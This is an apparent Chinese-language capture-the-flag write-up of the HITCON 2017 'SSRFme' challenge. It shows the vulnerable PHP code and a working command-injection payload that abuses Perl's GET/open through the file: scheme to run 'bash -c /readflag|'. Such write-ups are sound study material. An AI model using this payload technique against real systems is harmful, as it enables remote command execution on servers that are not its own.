[HITCON 2017]SSRFme
[HITCON 2017]SSRFme
考点
perl脚本GET open命令漏洞
wp
直接给出了代码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
pathinfo函数以数组的形式返回关于文件路径的信息,返回的数组元素如下:
[dirname]:目录路径
[basename]:文件名
[extension]:文件后缀名
[filename]:不包括后缀的文件名
传入url参数,与GET
进行拼接后再执行
传入filename参数,新建filename文件,将执行的结果存在传入的文件中
GET是Lib for WWW in Perl的命令,底层调用了open,pen存在命令执行,并且还支持file函数
读取根目录?url=/&filename=1
,可以看到得到的目录链接都是file:///bin/
这种形式
由于是利用file协议,所以后面跟的payload必须以文件的形式存在,所以getshell时后面的filename参数要和执行的命令一样
?url=file:bash -c /readflag|&filename=bash -c /readflag|
再去访问sandbox/230317844a87b41e353b096d0d6a5145/bash -c /readflag|
即可
小结
最后更新于